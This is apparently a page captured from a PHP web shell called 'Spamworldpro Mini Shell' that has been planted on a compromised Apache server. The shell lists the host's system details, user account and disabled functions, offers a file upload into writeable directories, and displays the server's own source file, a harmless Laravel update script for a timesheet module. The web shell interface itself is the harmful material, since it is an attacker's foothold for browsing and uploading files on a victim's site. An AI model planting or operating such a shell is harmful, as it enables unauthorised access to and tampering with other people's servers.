Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/update-batches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/update-batches/1.0.8.php
<?php

use Corals\Modules\Timesheet\Models\Entry;
use Corals\Modules\Timesheet\Models\Invoice;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;


Schema::table('timesheet_projects', function (Blueprint $table) {
    $table->boolean('taxable')->default(false)->after('billable');
});

Invoice::query()->each(function (Invoice $invoice) {
    $properties = $invoice->properties ?? [];

    $totalHours = 0;

    $invoice->entries()->each(function (Entry $entry) use (&$totalHours) {
        if (!is_null($entry->evaluation_hours) || !is_null($entry->evaluation_minutes)) {
            $hours = $entry->evaluation_hours ?? 0;
            $minutes = $entry->evaluation_minutes ?? 0;
        } else {
            $hours = $entry->hours;
            $minutes = $entry->minutes;
        }

        $totalHours += $hours + ($minutes / 60);
    });

    $properties['total_hours'] = $totalHours;

    $invoice->update(['properties' => $properties]);
});


DB::table('settings')->insert([
    'code' => 'sales_tax_rate',
    'type' => 'NUMBER',
    'category' => 'Timesheet',
    'label' => 'Sales tax rate',
    'value' => '0.16',
    'editable' => 1,
    'hidden' => 0,
    'created_at' => now(),
    'updated_at' => now(),
]);

Spamworldpro Mini